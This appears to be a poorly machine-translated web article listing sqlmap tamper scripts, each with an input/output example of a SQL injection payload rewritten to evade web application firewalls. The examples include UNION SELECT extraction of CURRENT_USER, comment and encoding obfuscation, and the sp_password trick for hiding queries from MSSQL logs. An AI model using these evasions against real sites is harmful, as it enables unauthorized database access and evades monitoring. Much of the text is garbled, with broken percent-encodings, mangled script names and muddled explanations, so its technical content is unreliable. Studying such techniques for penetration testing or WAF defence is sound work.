Sqlmap bypassing script tamper parsing sqlmap bypassing script (tamper) Parsing

Apostrophemask. py UTF-8 Encoding
Example:
* Input: AND '1' = '1'
* Output:
AND % EF % BC % 871% EF % BC % 87 = % EF % BC % 871% EF % BC % 87

Apostrophenullencode. py
Unicode encoding
Example:
* Input: AND '1' = '1'
* Output: AND
% 00% 271% 00% 27 = % 00% 271% 27

Appendnullbyte. py add % 00
Example:
*
Input: AND 1 = 1
* Output: AND 1 = 1% 00
Requirement:
* Microsoft Access

Base64encode. py base64 encoding
Example:
* Input: 1' and sleep (5 )#

* Output: MScgQU5EIFNMRUVQKDUpIw =

Between. py is replaced with "not between">"

Example:
* Input: 'A> B'
* Output: 'A not between 0 AND B'

Bluecoat. py replaces spaces with random white spaces and "like" instead of "="
Example:
* Input: SELECT
Id FROM users where id = 1
* Output: SELECT % 09id FROM users where id LIKE 1

Requirement:
* MySQL 5.1, SGOS

Chardoubleencode. py dual url Encoding

Example:
* Input: select field from % 20 TABLE
* Output:
% 2553% 2545% 254c % 2545% 2543% 2554% 2520% 2546% 2549% 2545% 254c % 2544% 2520% 2546% 2552% 254f % 254d % 2520% 2554% 2541% 254c % 2542%

Charencode. py url Encoding
Example:
* Input: select field from % 20 TABLE

* Output:
% 53% 45% 4c % 45% 43% 54% 20% 46% 49% 4c % 45% 44% 20% 4f % 4d % 46% 52% 20% 4c % 45

Charunicodeencode. py: unicode encoding for characters without url Encoding
Example:
* Input:
Select field % 20 FROM TABLE
* Output:
% Quota % u0045 % u004c % u0045 % u0043 % u0054 % u0020 % u0046 % u0049 % u0045 % u004c % u0044 % u0020 % u0046 % u0052 % u004f % quota % limit % u0042 % u004c % u0045'

Requirement:
* ASP
* ASP. NET

Tolike. py Replace "=" with "like"

Example:
* Input: SELECT * FROM users WHERE id = 1
* Output: SELECT *
FROM users WHERE id LIKE 1

Halfversionedmorekeywords. py Add a condition comment before each keyword

Example:
* Input: value 'Union ALL SELECT
CONCAT (CHAR (58,107,112,113, 58), IFNULL (CAST (CURRENT_USER ()
CHAR), CHAR (32), CHAR (110,121, 58), NULL, NULL # AND 'qdwa' = 'qdwa
*
Output:
Value '/*! 0 UNION /*! 0ALL /*! 0 SELECT /*! 0 CONCAT (/*! 0 CHAR (58,107,112,113, 58 ),/*! 0 IFNULL (CAST (/*! 0CURRENT_USER ()/*! 0AS /*! 0 CHAR ),/*! 0 CHAR (32 )),/*! 0 CHAR (110,121, 58 )),
NULL, NULL #/*! 0AND 'qdwa' = 'qdwa
Requirement:
* MySQL <5.1

Ifnull2ifisnull. py Replace "IFNULL (A, B)" with "IF (ISNULL (A), B, )"
Example:

* Input: IFNULL (1, 2)
* Output: IF (ISNULL (1), 2, 1)
Requirement:

* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

Modsecurityversioned. py condition Annotation
Example:
* Input: 1 AND 2> 1 --

* Output: 1 /*! 30000AND 2> 1 */--
Requirement:
* MySQL

Modsecurityzeroversioned. py condition comment, 0000
Example:
* Input: 1 AND
2> 1 --
* Output: 1 /*! 00000AND 2> 1 */--
Requirement:
* MySQL

Multiplespaces. py add multiple Spaces
Example:
* Input: UNION SELECT
*
Output: UNION SELECT

Nonrecursivereplacement. py
Attackers can bypass anti-injection for keyword deletion (I don't know how to say this. Let's look at the example ...)
Example:
* Input: 1 union select 2 --

* Output: 1 ununionion selselectect 2 --

Percentage. py add percent sign (%) before each character)

Example:
* Input: SELECT FIELD FROM TABLE
* Output: % S % E % L % E % C % T
% F % I % E % L % D % F % R % O % M % T % A % B % L % E
Requirement:
* ASP

Randomcase. py
Case Sensitive
Example:
* Input: INSERT
* Output: InsERt

Randomcomments. py randomly inserts block comments
Example:
'Insert' becomes
'In/**/S/**/ERT'
Add a "real" string at the end of the securesphere. py statement
Example:
* Input: AND
1 = 1
* Output: AND 1 = 1 and '0having '= '0having'

Sp_password.py
Add "sp_password" at the end of the statement to confuse the Database Log (very ...)
Example: www.2cto.com
* Input: 1 AND
9227 = 9227 --
* Output: 1 AND 9227 = 9227 -- sp_password
Requirement:
*
MSSQL

Space2comment. py replace spaces with block comments
Example:
* Input: SELECT id
FROM users
* Output: SELECT/**/id/**/FROM/**/users

Space2dash. py
Replace spaces with single line comments "--" and random new lines
Example:
* Input: 1 AND 9227 = 9227
* Output:
1 -- PTTmJopxdWJ % 0AAND -- cWfcVRPV % 0A9227 = 9227
Requirement:
* MSSQL
*
SQLite

Space2hash. py replace spaces with a single line comment "#" and a new line consisting of random characters
Example:
* Input: 1
& 9227 = 9227
* Output: 1% 23 PTTmJopxdWJ % 0 AAND % 23 cWfcVRPV % 0A9227 = 9227

Requirement:
* MySQL

Space2morehash. py does not see the difference with the one above ..

Requirement:
* MySQL> = 5.1.13

Space2mssqlblank. py
Replace spaces with random Spaces
Example:
* Input: SELECT id FROM users
* Output:
SELECT % 08id % 02 FROM % 0 Fusers
Requirement:
* Microsoft SQL Server

Space2mssqlhash. py replace spaces with a single line comment "#" and a new line
Example:
* Input: 1 AND
9227 = 9227
* Output: 1% 23% 0A9227 = 9227
Requirement:
* MSSQL
*
MySQL

Space2mysqlblank. py replace spaces with random Spaces
Example:
* Input: SELECT
Id FROM users
* Output: SELECT % 0Bid % 0 BFROM % A0users
Requirement:
*
MySQL

Space2mysqldash. py replace spaces with single line comments and new lines
Example:
* Input: 1 AND
9227 = 9227
* Output: 1 -- % 0AAND -- % 0A9227 = 9227
Requirement:
* MySQL

* MSSQL

Space2plus. py replace spaces with "+"
Example:
* Input: SELECT id
FROM users
* Output: SELECT + id + FROM + users

Space2randodomainank. py
Random blank character Replacement space
Example:
* Input: SELECT id FROM users
* Output:
SELECT \ rid \ tFROM \ nusers

Unionalltounion. py Replace "union all" with "union"

Example:
* Input:-1 UNION ALL SELECT
* Output:-1 UNION SELECT

Unmagicquotes. py replaces single quotes with "% bf % 27" and adds a comment "--" at the end "--"
Example:
* Input:
1' AND 1 = 1
* Output: 1% bf % 27 AND 1 = 1 -- % 20
Versionedkeywords. py
Comment on the keyword condition that is not a function
Example:
* Input: 1 union all select null, NULL,
CONCAT (CHAR (58,104,116,116, 58), IFNULL (CAST (CURRENT_USER ()
CHAR), CHAR (32), CHAR (58,100,114,117, 58 ))#
*
Output: 1 /*! UNION *//*! ALL *//*! SELECT *//*! NULL */,/*! NULL */, CONCAT (CHAR (58,104,116,116, 58), IFNULL (CAST (CURRENT_USER ()/*! AS *//*! CHAR */), CHAR (32), CHAR (58,100,114,117, 58 ))#

Requirement:
* MySQL

Versionedmorekeywords. py comment on keyword Conditions

Example:
* Input: 1 union all select null, NULL,
CONCAT (CHAR (58,122,114,115, 58), IFNULL (CAST (CURRENT_USER ()
CHAR), CHAR (32), CHAR (58,115,114,121, 58 ))#
* Output:
1 /*! UNION *//*! ALL *//*! SELECT *//*! NULL */,/*! NULL */,/*! CONCAT */(/*! CHAR */(58,122,114,115, 58 ),/*! IFNULL */(CAST (/*! CURRENT_USER */()/*! AS *//*! CHAR */),/*! CHAR */(32 )),/*! CHAR */(58,115,114,121, 58 ))#

Requirement:
* MySQL> = 5.1.13sqlmap bypassing script (tamper) parsing <>